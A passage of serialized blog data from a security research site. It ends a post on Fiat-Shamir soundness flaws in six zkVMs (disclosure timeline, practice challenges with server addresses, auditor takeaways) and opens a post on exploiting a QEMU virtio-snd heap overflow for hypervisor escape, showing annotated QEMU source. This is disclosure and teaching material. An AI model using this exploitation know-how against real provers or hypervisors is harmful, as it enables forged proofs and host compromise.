Timeline",{"type":23,"tag":53271,"props":120527,"children":120528},{},[120529,120557],{"type":23,"tag":120530,"props":120531,"children":120532},"thead",{},[120533],{"type":23,"tag":120534,"props":120535,"children":120536},"tr",{},[120537,120542,120547,120552],{"type":23,"tag":120538,"props":120539,"children":120540},"th",{},[120541],{"type":28,"value":20707},{"type":23,"tag":120538,"props":120543,"children":120544},{},[120545],{"type":28,"value":120546},"Reported",{"type":23,"tag":120538,"props":120548,"children":120549},{},[120550],{"type":28,"value":120551},"Fixed",{"type":23,"tag":120538,"props":120553,"children":120554},{},[120555],{"type":28,"value":120556},"Response Time",{"type":23,"tag":120558,"props":120559,"children":120560},"tbody",{},[120561,120584,120605,120625,120647,120668],{"type":23,"tag":120534,"props":120562,"children":120563},{},[120564,120569,120574,120579],{"type":23,"tag":120565,"props":120566,"children":120567},"td",{},[120568],{"type":28,"value":105392},{"type":23,"tag":120565,"props":120570,"children":120571},{},[120572],{"type":28,"value":120573},"Sep 2025",{"type":23,"tag":120565,"props":120575,"children":120576},{},[120577],{"type":28,"value":120578},"Oct 3, 2025",{"type":23,"tag":120565,"props":120580,"children":120581},{},[120582],{"type":28,"value":120583},"\u003C1 week",{"type":23,"tag":120534,"props":120585,"children":120586},{},[120587,120591,120596,120601],{"type":23,"tag":120565,"props":120588,"children":120589},{},[120590],{"type":28,"value":105398},{"type":23,"tag":120565,"props":120592,"children":120593},{},[120594],{"type":28,"value":120595},"Oct 2025",{"type":23,"tag":120565,"props":120597,"children":120598},{},[120599],{"type":28,"value":120600},"Oct 24, 2025",{"type":23,"tag":120565,"props":120602,"children":120603},{},[120604],{"type":28,"value":120583},{"type":23,"tag":120534,"props":120606,"children":120607},{},[120608,120612,120616,120621],{"type":23,"tag":120565,"props":120609,"children":120610},{},[120611],{"type":28,"value":105404},{"type":23,"tag":120565,"props":120613,"children":120614},{},[120615],{"type":28,"value":120595},{"type":23,"tag":120565,"props":120617,"children":120618},{},[120619],{"type":28,"value":120620},"Oct 31, 2025",{"type":23,"tag":120565,"props":120622,"children":120623},{},[120624],{"type":28,"value":120583},{"type":23,"tag":120534,"props":120626,"children":120627},{},[120628,120632,120637,120642],{"type":23,"tag":120565,"props":120629,"children":120630},{},[120631],{"type":28,"value":105410},{"type":23,"tag":120565,"props":120633,"children":120634},{},[120635],{"type":28,"value":120636},"Nov 2025",{"type":23,"tag":120565,"props":120638,"children":120639},{},[120640],{"type":28,"value":120641},"Mar 5, 2026",{"type":23,"tag":120565,"props":120643,"children":120644},{},[120645],{"type":28,"value":120646},"~4 months",{"type":23,"tag":120534,"props":120648,"children":120649},{},[120650,120654,120659,120664],{"type":23,"tag":120565,"props":120651,"children":120652},{},[120653],{"type":28,"value":105422},{"type":23,"tag":120565,"props":120655,"children":120656},{},[120657],{"type":28,"value":120658},"Dec 2025",{"type":23,"tag":120565,"props":120660,"children":120661},{},[120662],{"type":28,"value":120663},"Dec 29, 2025",{"type":23,"tag":120565,"props":120665,"children":120666},{},[120667],{"type":28,"value":120583},{"type":23,"tag":120534,"props":120669,"children":120670},{},[120671,120675,120679,120684],{"type":23,"tag":120565,"props":120672,"children":120673},{},[120674],{"type":28,"value":105416},{"type":23,"tag":120565,"props":120676,"children":120677},{},[120678],{"type":28,"value":120636},{"type":23,"tag":120565,"props":120680,"children":120681},{},[120682],{"type":28,"value":120683},"Jan 21, 2026?",{"type":23,"tag":120565,"props":120685,"children":120686},{},[120687],{"type":28,"value":120688},"3 months",{"type":23,"tag":24,"props":120690,"children":120691},{},[120692],{"type":28,"value":120693},"All six teams were notified; responses ranged from immediate acknowledgement to delayed fix, and all reported issues have since been addressed.",{"type":23,"tag":16288,"props":120695,"children":120696},{},[],{"type":23,"tag":31,"props":120698,"children":120700},{"id":120699},"challenges",[120701],{"type":28,"value":105435},{"type":23,"tag":24,"props":120703,"children":120704},{},[120705,120707],{"type":28,"value":120706},"Do you think you have a good understanding of these bugs? We have prepared challenges to allow you to practice implementing two of these exploits. If you solve any of them, follow the instructions in the flag ",{"type":23,"tag":120708,"props":120709,"children":120710},"del",{},[120711],{"type":28,"value":120712},"the first 10 solvers will get a T-shirt.",{"type":23,"tag":24,"props":120714,"children":120715},{},[120716,120718,120771,120772,121028],{"type":28,"value":120717},"Your goal is to find a counter example of Fermat's Last Theorem, i.e you know ",{"type":23,"tag":64,"props":120719,"children":120721},{"className":120720},[1527,1528],[120722],{"type":23,"tag":481,"props":120723,"children":120725},{"className":120724},[1533],[120726],{"type":23,"tag":481,"props":120727,"children":120729},{"className":120728,"ariaHidden":1539},[1538],[120730],{"type":23,"tag":481,"props":120731,"children":120733},{"className":120732},[1544],[120734,120738,120743,120748,120752,120757,120762,120766],{"type":23,"tag":481,"props":120735,"children":120737},{"className":120736,"style":112634},[1549],[],{"type":23,"tag":481,"props":120739,"children":120741},{"className":120740},[1555,19086],[120742],{"type":28,"value":190},{"type":23,"tag":481,"props":120744,"children":120746},{"className":120745},[1668],[120747],{"type":28,"value":1671},{"type":23,"tag":481,"props":120749,"children":120751},{"className":120750,"style":1675},[1636],[],{"type":23,"tag":481,"props":120753,"children":120755},{"className":120754},[1555,19086],[120756],{"type":28,"value":739},{"type":23,"tag":481,"props":120758,"children":120760},{"className":120759},[1668],[120761],{"type":28,"value":1671},{"type":23,"tag":481,"props":120763,"children":120765},{"className":120764,"style":1675},[1636],[],{"type":23,"tag":481,"props":120767,"children":120769},{"className":120768},[1555,19086],[120770],{"type":28,"value":661},{"type":28,"value":107235},{"type":23,"tag":64,"props":120773,"children":120775},{"className":120774},[1527,1528],[120776],{"type":23,"tag":481,"props":120777,"children":120779},{"className":120778},[1533],[120780],{"type":23,"tag":481,"props":120781,"children":120783},{"className":120782,"ariaHidden":1539},[1538],[120784,120847,120909,121015],{"type":23,"tag":481,"props":120785,"children":120787},{"className":120786},[1544],[120788,120793,120834,120838,120843],{"type":23,"tag":481,"props":120789,"children":120792},{"className":120790,"style":120791},[1549],"height:0.8974em;vertical-align:-0.0833em;",[],{"type":23,"tag":481,"props":120794,"children":120796},{"className":120795},[1555],[120797,120802],{"type":23,"tag":481,"props":120798,"children":120800},{"className":120799},[1555,19086],[120801],{"type":28,"value":190},{"type":23,"tag":481,"props":120803,"children":120805},{"className":120804},[1572],[120806],{"type":23,"tag":481,"props":120807,"children":120809},{"className":120808},[1577],[120810],{"type":23,"tag":481,"props":120811,"children":120813},{"className":120812},[1582],[120814],{"type":23,"tag":481,"props":120815,"children":120817},{"className":120816,"style":1550},[1587],[120818],{"type":23,"tag":481,"props":120819,"children":120820},{"style":1591},[120821,120825],{"type":23,"tag":481,"props":120822,"children":120824},{"className":120823,"style":1597},[1596],[],{"type":23,"tag":481,"props":120826,"children":120828},{"className":120827},[1602,1603,1604,1605],[120829],{"type":23,"tag":481,"props":120830,"children":120832},{"className":120831},[1555,1605],[120833],{"type":28,"value":14788},{"type":23,"tag":481,"props":120835,"children":120837},{"className":120836,"style":1637},[1636],[],{"type":23,"tag":481,"props":120839,"children":120841},{"className":120840},[1642],[120842],{"type":28,"value":1930},{"type":23,"tag":481,"props":120844,"children":120846},{"className":120845,"style":1637},[1636],[],{"type":23,"tag":481,"props":120848,"children":120850},{"className":120849},[1544],[120851,120855,120896,120900,120905],{"type":23,"tag":481,"props":120852,"children":120854},{"className":120853,"style":1550},[1549],[],{"type":23,"tag":481,"props":120856,"children":120858},{"className":120857},[1555],[120859,120864],{"type":23,"tag":481,"props":120860,"children":120862},{"className":120861},[1555,19086],[120863],{"type":28,"value":739},{"type":23,"tag":481,"props":120865,"children":120867},{"className":120866},[1572],[120868],{"type":23,"tag":481,"props":120869,"children":120871},{"className":120870},[1577],[120872],{"type":23,"tag":481,"props":120873,"children":120875},{"className":120874},[1582],[120876],{"type":23,"tag":481,"props":120877,"children":120879},{"className":120878,"style":1550},[1587],[120880],{"type":23,"tag":481,"props":120881,"children":120882},{"style":1591},[120883,120887],{"type":23,"tag":481,"props":120884,"children":120886},{"className":120885,"style":1597},[1596],[],{"type":23,"tag":481,"props":120888,"children":120890},{"className":120889},[1602,1603,1604,1605],[120891],{"type":23,"tag":481,"props":120892,"children":120894},{"className":120893},[1555,1605],[120895],{"type":28,"value":14788},{"type":23,"tag":481,"props":120897,"children":120899},{"className":120898,"style":1734},[1636],[],{"type":23,"tag":481,"props":120901,"children":120903},{"className":120902},[1739],[120904],{"type":28,"value":603},{"type":23,"tag":481,"props":120906,"children":120908},{"className":120907,"style":1734},[1636],[],{"type":23,"tag":481,"props":120910,"children":120912},{"className":120911},[1544],[120913,120918,120959,120964,120968,120973,120978,120982,120987,120992,120996,121001,121005,121011],{"type":23,"tag":481,"props":120914,"children":120917},{"className":120915,"style":120916},[1549],"height:1.0085em;vertical-align:-0.1944em;",[],{"type":23,"tag":481,"props":120919,"children":120921},{"className":120920},[1555],[120922,120927],{"type":23,"tag":481,"props":120923,"children":120925},{"className":120924},[1555,19086],[120926],{"type":28,"value":661},{"type":23,"tag":481,"props":120928,"children":120930},{"className":120929},[1572],[120931],{"type":23,"tag":481,"props":120932,"children":120934},{"className":120933},[1577],[120935],{"type":23,"tag":481,"props":120936,"children":120938},{"className":120937},[1582],[120939],{"type":23,"tag":481,"props":120940,"children":120942},{"className":120941,"style":1550},[1587],[120943],{"type":23,"tag":481,"props":120944,"children":120945},{"style":1591},[120946,120950],{"type":23,"tag":481,"props":120947,"children":120949},{"className":120948,"style":1597},[1596],[],{"type":23,"tag":481,"props":120951,"children":120953},{"className":120952},[1602,1603,1604,1605],[120954],{"type":23,"tag":481,"props":120955,"children":120957},{"className":120956},[1555,1605],[120958],{"type":28,"value":14788},{"type":23,"tag":481,"props":120960,"children":120962},{"className":120961},[1668],[120963],{"type":28,"value":1671},{"type":23,"tag":481,"props":120965,"children":120967},{"className":120966,"style":1675},[1636],[],{"type":23,"tag":481,"props":120969,"children":120971},{"className":120970},[1555,19086],[120972],{"type":28,"value":190},{"type":23,"tag":481,"props":120974,"children":120976},{"className":120975},[1668],[120977],{"type":28,"value":1671},{"type":23,"tag":481,"props":120979,"children":120981},{"className":120980,"style":1675},[1636],[],{"type":23,"tag":481,"props":120983,"children":120985},{"className":120984},[1555,19086],[120986],{"type":28,"value":739},{"type":23,"tag":481,"props":120988,"children":120990},{"className":120989},[1668],[120991],{"type":28,"value":1671},{"type":23,"tag":481,"props":120993,"children":120995},{"className":120994,"style":1675},[1636],[],{"type":23,"tag":481,"props":120997,"children":120999},{"className":120998},[1555,19086],[121000],{"type":28,"value":661},{"type":23,"tag":481,"props":121002,"children":121004},{"className":121003,"style":1734},[1636],[],{"type":23,"tag":481,"props":121006,"children":121008},{"className":121007},[1739],[121009],{"type":28,"value":121010},"≥",{"type":23,"tag":481,"props":121012,"children":121014},{"className":121013,"style":1734},[1636],[],{"type":23,"tag":481,"props":121016,"children":121018},{"className":121017},[1544],[121019,121023],{"type":23,"tag":481,"props":121020,"children":121022},{"className":121021,"style":91610},[1549],[],{"type":23,"tag":481,"props":121024,"children":121026},{"className":121025},[1555],[121027],{"type":28,"value":1558},{"type":28,"value":121029},". Good luck!",{"type":23,"tag":7092,"props":121031,"children":121033},{"id":121032},"jolt",[121034],{"type":28,"value":105392},{"type":23,"tag":24,"props":121036,"children":121037},{},[121038,121040,121051,121053],{"type":28,"value":121039},"See ",{"type":23,"tag":190,"props":121041,"children":121048},{"href":121042,"target":121043,"rel":121044,"download":121047},"/posts/zkvms-unfaithful-claims/handout_jolt.tar.gz","_blank",[121045,121046],"noopener","noreferrer","handout_jolt.tar.gz",[121049],{"type":28,"value":121050},"the handout",{"type":28,"value":121052}," for the setup running on the server.\nSubmit your proof by connecting to ",{"type":23,"tag":64,"props":121054,"children":121056},{"className":121055},[],[121057],{"type":28,"value":121058},"jolt.chal.osec.io:8960",{"type":23,"tag":7092,"props":121060,"children":121062},{"id":121061},"nexus-1",[121063],{"type":28,"value":105398},{"type":23,"tag":24,"props":121065,"children":121066},{},[121067,121068,121075,121076],{"type":28,"value":121039},{"type":23,"tag":190,"props":121069,"children":121073},{"href":121070,"target":121043,"rel":121071,"download":121072},"/posts/zkvms-unfaithful-claims/handout_nexus.tar.gz",[121045,121046],"handout_nexus.tar.gz",[121074],{"type":28,"value":121050},{"type":28,"value":121052},{"type":23,"tag":64,"props":121077,"children":121079},{"className":121078},[],[121080],{"type":28,"value":121081},"nexus.chal.osec.io:8950",{"type":23,"tag":24,"props":121083,"children":121084},{},[121085],{"type":28,"value":121086},"Now you should have enough margin to prove Fermat wrong.",{"type":23,"tag":16288,"props":121088,"children":121089},{},[],{"type":23,"tag":31,"props":121091,"children":121093},{"id":121092},"takeaways",[121094],{"type":28,"value":121095},"Takeaways",{"type":23,"tag":24,"props":121097,"children":121098},{},[121099],{"type":28,"value":121100},"We found critical soundness vulnerabilities in six separate zkVMs. All share the same root cause: prover-controlled values that affect verification equations were not bound to the Fiat-Shamir transcript before challenges were derived.",{"type":23,"tag":24,"props":121102,"children":121103},{},[121104],{"type":28,"value":121105},"The fix in each case is trivial—one or two lines of code. But finding the bug requires understanding the full verification flow and asking: \"What if the prover chose this value after seeing the challenges?\"",{"type":23,"tag":24,"props":121107,"children":121108},{},[121109,121114],{"type":23,"tag":2875,"props":121110,"children":121111},{},[121112],{"type":28,"value":121113},"For the ZK ecosystem:",{"type":28,"value":121115}," The Fiat-Shamir transform looks simple. Hash everything, derive challenges. In practice, \"everything\" is hard to specify when you have dozens of components, each with its own inputs and outputs, each expecting someone else to handle binding.",{"type":23,"tag":24,"props":121117,"children":121118},{},[121119],{"type":28,"value":121120},"We found six instances by examining a handful of systems. How many more exist in the dozens of zkVMs, proof systems, and recursive verifiers deployed today?",{"type":23,"tag":24,"props":121122,"children":121123},{},[121124,121129],{"type":23,"tag":2875,"props":121125,"children":121126},{},[121127],{"type":28,"value":121128},"For auditors:",{"type":28,"value":121130}," Draw the data flow. Trace the transcript. Check every prover-controlled value against when its relevant challenges are derived.",{"type":23,"tag":24,"props":121132,"children":121133},{},[121134,121139],{"type":23,"tag":2875,"props":121135,"children":121136},{},[121137],{"type":28,"value":121138},"For builders:",{"type":28,"value":121140}," Treat the transcript as a sacred ledger. When in doubt, absorb it.",{"type":23,"tag":2918,"props":121142,"children":121143},{},[121144],{"type":28,"value":2922},{"title":7,"searchDepth":351,"depth":351,"links":121146},[121147,121148,121151,121157,121158,121166,121172,121175,121176,121180],{"id":105443,"depth":351,"text":105446},{"id":105585,"depth":351,"text":105588,"children":121149},[121150],{"id":105591,"depth":531,"text":105594},{"id":106020,"depth":351,"text":106023,"children":121152},[121153,121154,121155,121156],{"id":106031,"depth":531,"text":106034},{"id":106219,"depth":531,"text":106222},{"id":109600,"depth":531,"text":109603},{"id":110814,"depth":531,"text":110817},{"id":112451,"depth":351,"text":112454},{"id":112957,"depth":351,"text":112960,"children":121159},[121160,121161,121162,121163,121164,121165],{"id":112979,"depth":531,"text":112982},{"id":114304,"depth":531,"text":105398},{"id":115440,"depth":531,"text":115443},{"id":116108,"depth":531,"text":116111},{"id":118764,"depth":531,"text":118767},{"id":119318,"depth":531,"text":105422},{"id":120247,"depth":351,"text":120250,"children":121167},[121168,121169,121170,121171],{"id":120258,"depth":531,"text":120261},{"id":120428,"depth":531,"text":120431},{"id":120452,"depth":531,"text":120455},{"id":120468,"depth":531,"text":120471},{"id":120482,"depth":351,"text":120485,"children":121173},[121174],{"id":120488,"depth":531,"text":120491},{"id":120522,"depth":351,"text":120525},{"id":120699,"depth":351,"text":105435,"children":121177},[121178,121179],{"id":121032,"depth":531,"text":105392},{"id":121061,"depth":531,"text":105398},{"id":121092,"depth":351,"text":121095},"content:blog:2026-03-03-zkvms-unfaithful-claims.md","blog/2026-03-03-zkvms-unfaithful-claims.md","blog/2026-03-03-zkvms-unfaithful-claims",{"_path":121185,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":121186,"description":121187,"date":121188,"author":121189,"image":121190,"isFeatured":15,"onBlogPage":15,"tags":121192,"body":121195,"_type":358,"_id":129481,"_source":360,"_file":129482,"_stem":129483,"_extension":363},"/blog/2026-03-17-virtio-snd-qemu-hypervisor-escape","From virtio-snd 0-Day to Hypervisor Escape: Exploiting QEMU with an Uncontrolled Heap Overflow","Turning an uncontrolled heap overflow into a reliable QEMU guest-to-host escape using new glibc allocator behavior and QEMU-specific heap spray techniques.","2026-03-17T12:00:00.000Z","hrvoje",{"src":121191,"width":94800,"height":11111},"/posts/virtio-snd-qemu-0day/title.png",[121193,121194],"qemu","heap-overflow",{"type":20,"children":121196,"toc":129463},[121197,121202,121207,121212,121218,121223,121228,121236,121242,121254,121258,121263,121271,121276,121282,121287,121300,121910,121945,121990,122024,122059,122194,122242,122248,122253,123009,123054,123090,123125,123190,123210,123660,123707,123710,123715,123780,123806,123828,123832,123837,123842,123848,123853,123858,123863,123869,123882,123888,123893,123901,123971,123976,123982,123995,124221,124284,124303,124686,124691,124724,124729,125005,125017,125035,125314,125326,125329,125364,125369,125375,125387,125399,125404,125409,125419,125454,126071,126103,126114,126150,126163,126169,126181,126189,126215,126220,126253,126294,126300,126319,126357,126365,126414,126419,126468,126473,126481,126568,126574,126613,126625,126633,126651,126670,126678,126690,126698,126717,126725,126736,126744,126755,126763,126776,126784,126790,126795,126808,126816,126834,126842,126854,126859,126867,126903,126936,126943,126977,126985,126990,126996,127008,127019,127298,127358,127426,127434,127468,128072,128083,128091,128097,128102,128113,128867,128900,128912,128998,129018,129227,129274,129286,129292,129311,129337,129365,129381,129408,129411,129431,129445,129449,129454,129459],{"type":23,"tag":24,"props":121198,"children":121199},{},[121200],{"type":28,"value":121201},"Heap overflows are often exploitable, but far less so when the corrupted bytes are not under your control. In many cases, that kind of bug is written off as a crash and nothing more. However, in this post we show how we turned such an overflow into a reliable QEMU guest-to-host escape by abusing new glibc allocator behavior and QEMU-specific heap spray techniques.",{"type":23,"tag":31,"props":121203,"children":121204},{"id":121193},[121205],{"type":28,"value":121206},"QEMU",{"type":23,"tag":24,"props":121208,"children":121209},{},[121210],{"type":28,"value":121211},"QEMU is a machine emulator and virtualizer that lets a host system run guest operating systems. It presents the guest with virtual hardware, while the logic backing that hardware runs inside the host-side QEMU process.",{"type":23,"tag":7092,"props":121213,"children":121215},{"id":121214},"virtio-devices",[121216],{"type":28,"value":121217},"Virtio Devices",{"type":23,"tag":24,"props":121219,"children":121220},{},[121221],{"type":28,"value":121222},"For guest-to-host escape research, the interesting part of QEMU is the interface between the guest and those host-side device implementations. Every request sent by the guest is eventually parsed and handled by code running in the QEMU process. This is interesting because any unhandled edge case in the device could lead to some kind of host state corruption.",{"type":23,"tag":24,"props":121224,"children":121225},{},[121226],{"type":28,"value":121227},"At a high level, the communication between the driver running in the guest and the device running on the host is simple - the guest-side virtio driver shares requests over virtqueues, while the host-side virtio device consumes those requests, processes and returns responses.",{"type":23,"tag":24,"props":121229,"children":121230},{},[121231],{"type":23,"tag":149,"props":121232,"children":121235},{"alt":121233,"src":121234},"flowchart1","/posts/virtio-snd-qemu-0day/flowchart1.png",[],{"type":23,"tag":31,"props":121237,"children":121239},{"id":121238},"finding-a-bug",[121240],{"type":28,"value":121241},"Finding a Bug",{"type":23,"tag":24,"props":121243,"children":121244},{},[121245,121247,121253],{"type":28,"value":121246},"While looking for devices to research, we focused on ones that seemed to have received less scrutiny in the past. With that in mind, we started with the sound device ",{"type":23,"tag":64,"props":121248,"children":121250},{"className":121249},[],[121251],{"type":28,"value":121252},"virtio-snd",{"type":28,"value":199},{"type":23,"tag":7092,"props":121255,"children":121256},{"id":121252},[121257],{"type":28,"value":121252},{"type":23,"tag":24,"props":121259,"children":121260},{},[121261],{"type":28,"value":121262},"From the official documentation:",{"type":23,"tag":426,"props":121264,"children":121265},{},[121266],{"type":23,"tag":24,"props":121267,"children":121268},{},[121269],{"type":28,"value":121270},"Virtio sound implements capture and playback from inside a guest using the configured audio backend of the host machine.",{"type":23,"tag":24,"props":121272,"children":121273},{},[121274],{"type":28,"value":121275},"Essentially, it allows software running inside the guest to interact with the host's audio stack through a paravirtualized sound device. Playback streams send guest-provided audio data to the host backend, while capture streams let the guest receive audio input from the host.",{"type":23,"tag":16388,"props":121277,"children":121279},{"id":121278},"audio-data-buffers",[121280],{"type":28,"value":121281},"Audio Data Buffers",{"type":23,"tag":24,"props":121283,"children":121284},{},[121285],{"type":28,"value":121286},"This audio data flows through buffers allocated by the host-side virtio-snd device and stored in a FIFO linked list for the corresponding stream.",{"type":23,"tag":24,"props":121288,"children":121289},{},[121290,121292,121298],{"type":28,"value":121291},"For example, the following is ",{"type":23,"tag":64,"props":121293,"children":121295},{"className":121294},[],[121296],{"type":28,"value":121297},"virtio_snd_handle_rx_xfer",{"type":28,"value":121299},", which is responsible for allocating buffers for an input audio stream:",{"type":23,"tag":435,"props":121301,"children":121303},{"code":121302,"language":661,"meta":7,"className":14005,"style":7},"/*\n * The rx virtqueue handler. Makes the buffers available to their\n * respective streams for consumption.\n *\n * @vdev: VirtIOSound device\n * @vq: rx virtqueue\n */\nstatic void virtio_snd_handle_rx_xfer(VirtIODevice *vdev, VirtQueue *vq)\n{\n VirtQueueElement *elem;\n [...]\n\n for (;;) {\n VirtIOSoundPCMStream *stream;\n\n elem = virtqueue_pop(vq, sizeof(VirtQueueElement)); // [1]\n if (!elem) {\n break;\n }\n\n [...]\n\n WITH_QEMU_LOCK_GUARD(&stream->queue_mutex) {\n size = iov_size(elem->in_sg, elem->in_num) -\n sizeof(virtio_snd_pcm_status); // [2]\n buffer = g_malloc0(sizeof(VirtIOSoundPCMBuffer) + size);\n buffer->elem = elem;\n buffer->vq = vq;\n buffer->size = 0;\n buffer->offset = 0;\n QSIMPLEQ_INSERT_TAIL(&stream->queue, buffer, entry); // [3]\n }\n continue;\n\n [...]\n}\n\n",[121304],{"type":23,"tag":64,"props":121305,"children":121306},{"__ignoreMap":7},[121307,121314,121322,121330,121337,121345,121353,121361,121409,121416,121433,121440,121447,121459,121476,121483,121519,121539,121550,121557,121564,121572,121579,121612,121671,121689,121728,121753,121777,121805,121832,121870,121877,121889,121896,121903],{"type":23,"tag":481,"props":121308,"children":121309},{"class":483,"line":484},[121310],{"type":23,"tag":481,"props":121311,"children":121312},{"style":488},[121313],{"type":28,"value":46891},{"type":23,"tag":481,"props":121315,"children":121316},{"class":483,"line":351},[121317],{"type":23,"tag":481,"props":121318,"children":121319},{"style":488},[121320],{"type":28,"value":121321}," * The rx virtqueue handler. Makes the buffers available to their\n",{"type":23,"tag":481,"props":121323,"children":121324},{"class":483,"line":531},[121325],{"type":23,"tag":481,"props":121326,"children":121327},{"style":488},[121328],{"type":28,"value":121329}," * respective streams for consumption.\n",{"type":23,"tag":481,"props":121331,"children":121332},{"class":483,"line":567},[121333],{"type":23,"tag":481,"props":121334,"children":121335},{"style":488},[121336],{"type":28,"value":16985},{"type":23,"tag":481,"props":121338,"children":121339},{"class":483,"line":678},[121340],{"type":23,"tag":481,"props":121341,"children":121342},{"style":488},[121343],{"type":28,"value":121344}," * @vdev: VirtIOSound device\n",{"type":23,"tag":481,"props":121346,"children":121347},{"class":483,"line":784},[121348],{"type":23,"tag":481,"props":121349,"children":121350},{"style":488},[121351],{"type":28,"value":121352}," * @vq: rx virtqueue\n",{"type":23,"tag":481,"props":121354,"children":121355},{"class":483,"line":812},[121356],{"type":23,"tag":481,"props":121357,"children":121358},{"style":488},[121359],{"type":28,"value":121360}," */\n",{"type":23,"tag":481,"props":121362,"children":121363},{"class":483,"line":825},[121364,121368,121372,121377,121382,121386,121391,121396,121400,121405],{"type":23,"tag":481,"props":121365,"children":121366},{"style":497},[121367],{"type":28,"value":48570},{"type":23,"tag":481,"props":121369,"children":121370},{"style":497},[121371],{"type":28,"value":48575},{"type":23,"tag":481,"props":121373,"children":121374},{"style":610},[121375],{"type":28,"value":121376}," virtio_snd_handle_rx_xfer",{"type":23,"tag":481,"props":121378,"children":121379},{"style":525},[121380],{"type":28,"value":121381},"(VirtIODevice ",{"type":23,"tag":481,"props":121383,"children":121384},{"style":514},[121385],{"type":28,"value":2120},{"type":23,"tag":481,"props":121387,"children":121388},{"style":508},[121389],{"type":28,"value":121390},"vdev",{"type":23,"tag":481,"props":121392,"children":121393},{"style":525},[121394],{"type":28,"value":121395},", VirtQueue ",{"type":23,"tag":481,"props":121397,"children":121398},{"style":514},[121399],{"type":28,"value":2120},{"type":23,"tag":481,"props":121401,"children":121402},{"style":508},[121403],{"type":28,"value":121404},"vq",{"type":23,"tag":481,"props":121406,"children":121407},{"style":525},[121408],{"type":28,"value":675},{"type":23,"tag":481,"props":121410,"children":121411},{"class":483,"line":843},[121412],{"type":23,"tag":481,"props":121413,"children":121414},{"style":525},[121415],{"type":28,"value":8366},{"type":23,"tag":481,"props":121417,"children":121418},{"class":483,"line":864},[121419,121424,121428],{"type":23,"tag":481,"props":121420,"children":121421},{"style":525},[121422],{"type":28,"value":121423}," VirtQueueElement ",{"type":23,"tag":481,"props":121425,"children":121426},{"style":514},[121427],{"type":28,"value":2120},{"type":23,"tag":481,"props":121429,"children":121430},{"style":525},[121431],{"type":28,"value":121432},"elem;\n",{"type":23,"tag":481,"props":121434,"children":121435},{"class":483,"line":873},[121436],{"type":23,"tag":481,"props":121437,"children":121438},{"style":525},[121439],{"type":28,"value":102333},{"type":23,"tag":481,"props":121441,"children":121442},{"class":483,"line":1125},[121443],{"type":23,"tag":481,"props":121444,"children":121445},{"emptyLinePlaceholder":15},[121446],{"type":28,"value":1210},{"type":23,"tag":481,"props":121448,"children":121449},{"class":483,"line":1142},[121450,121454],{"type":23,"tag":481,"props":121451,"children":121452},{"style":535},[121453],{"type":28,"value":538},{"type":23,"tag":481,"props":121455,"children":121456},{"style":525},[121457],{"type":28,"value":121458}," (;;) {\n",{"type":23,"tag":481,"props":121460,"children":121461},{"class":483,"line":1159},[121462,121467,121471],{"type":23,"tag":481,"props":121463,"children":121464},{"style":525},[121465],{"type":28,"value":121466}," VirtIOSoundPCMStream ",{"type":23,"tag":481,"props":121468,"children":121469},{"style":514},[121470],{"type":28,"value":2120},{"type":23,"tag":481,"props":121472,"children":121473},{"style":525},[121474],{"type":28,"value":121475},"stream;\n",{"type":23,"tag":481,"props":121477,"children":121478},{"class":483,"line":1172},[121479],{"type":23,"tag":481,"props":121480,"children":121481},{"emptyLinePlaceholder":15},[121482],{"type":28,"value":1210},{"type":23,"tag":481,"props":121484,"children":121485},{"class":483,"line":1181},[121486,121491,121495,121500,121505,121509,121514],{"type":23,"tag":481,"props":121487,"children":121488},{"style":525},[121489],{"type":28,"value":121490}," elem ",{"type":23,"tag":481,"props":121492,"children":121493},{"style":514},[121494],{"type":28,"value":603},{"type":23,"tag":481,"props":121496,"children":121497},{"style":610},[121498],{"type":28,"value":121499}," virtqueue_pop",{"type":23,"tag":481,"props":121501,"children":121502},{"style":525},[121503],{"type":28,"value":121504},"(vq, ",{"type":23,"tag":481,"props":121506,"children":121507},{"style":497},[121508],{"type":28,"value":52854},{"type":23,"tag":481,"props":121510,"children":121511},{"style":525},[121512],{"type":28,"value":121513},"(VirtQueueElement));",{"type":23,"tag":481,"props":121515,"children":121516},{"style":488},[121517],{"type":28,"value":121518}," // [1]\n",{"type":23,"tag":481,"props":121520,"children":121521},{"class":483,"line":1204},[121522,121526,121530,121534],{"type":23,"tag":481,"props":121523,"children":121524},{"style":535},[121525],{"type":28,"value":790},{"type":23,"tag":481,"props":121527,"children":121528},{"style":525},[121529],{"type":28,"value":578},{"type":23,"tag":481,"props":121531,"children":121532},{"style":514},[121533],{"type":28,"value":18119},{"type":23,"tag":481,"props":121535,"children":121536},{"style":525},[121537],{"type":28,"value":121538},"elem) {\n",{"type":23,"tag":481,"props":121540,"children":121541},{"class":483,"line":1213},[121542,121546],{"type":23,"tag":481,"props":121543,"children":121544},{"style":535},[121545],{"type":28,"value":818},{"type":23,"tag":481,"props":121547,"children":121548},{"style":525},[121549],{"type":28,"value":528},{"type":23,"tag":481,"props":121551,"children":121552},{"class":483,"line":1222},[121553],{"type":23,"tag":481,"props":121554,"children":121555},{"style":525},[121556],{"type":28,"value":870},{"type":23,"tag":481,"props":121558,"children":121559},{"class":483,"line":1291},[121560],{"type":23,"tag":481,"props":121561,"children":121562},{"emptyLinePlaceholder":15},[121563],{"type":28,"value":1210},{"type":23,"tag":481,"props":121565,"children":121566},{"class":483,"line":1299},[121567],{"type":23,"tag":481,"props":121568,"children":121569},{"style":525},[121570],{"type":28,"value":121571}," [...]\n",{"type":23,"tag":481,"props":121573,"children":121574},{"class":483,"line":1329},[121575],{"type":23,"tag":481,"props":121576,"children":121577},{"emptyLinePlaceholder":15},[121578],{"type":28,"value":1210},{"type":23,"tag":481,"props":121580,"children":121581},{"class":483,"line":1337},[121582,121587,121591,121595,121599,121603,121608],{"type":23,"tag":481,"props":121583,"children":121584},{"style":610},[121585],{"type":28,"value":121586}," WITH_QEMU_LOCK_GUARD",{"type":23,"tag":481,"props":121588,"children":121589},{"style":525},[121590],{"type":28,"value":618},{"type":23,"tag":481,"props":121592,"children":121593},{"style":514},[121594],{"type":28,"value":623},{"type":23,"tag":481,"props":121596,"children":121597},{"style":508},[121598],{"type":28,"value":33779},{"type":23,"tag":481,"props":121600,"children":121601},{"style":525},[121602],{"type":28,"value":11245},{"type":23,"tag":481,"props":121604,"children":121605},{"style":508},[121606],{"type":28,"value":121607},"queue_mutex",{"type":23,"tag":481,"props":121609,"children":121610},{"style":525},[121611],{"type":28,"value":12292},{"type":23,"tag":481,"props":121613,"children":121614},{"class":483,"line":1369},[121615,121620,121624,121629,121633,121637,121641,121646,121650,121654,121658,121663,121667],{"type":23,"tag":481,"props":121616,"children":121617},{"style":525},[121618],{"type":28,"value":121619}," size 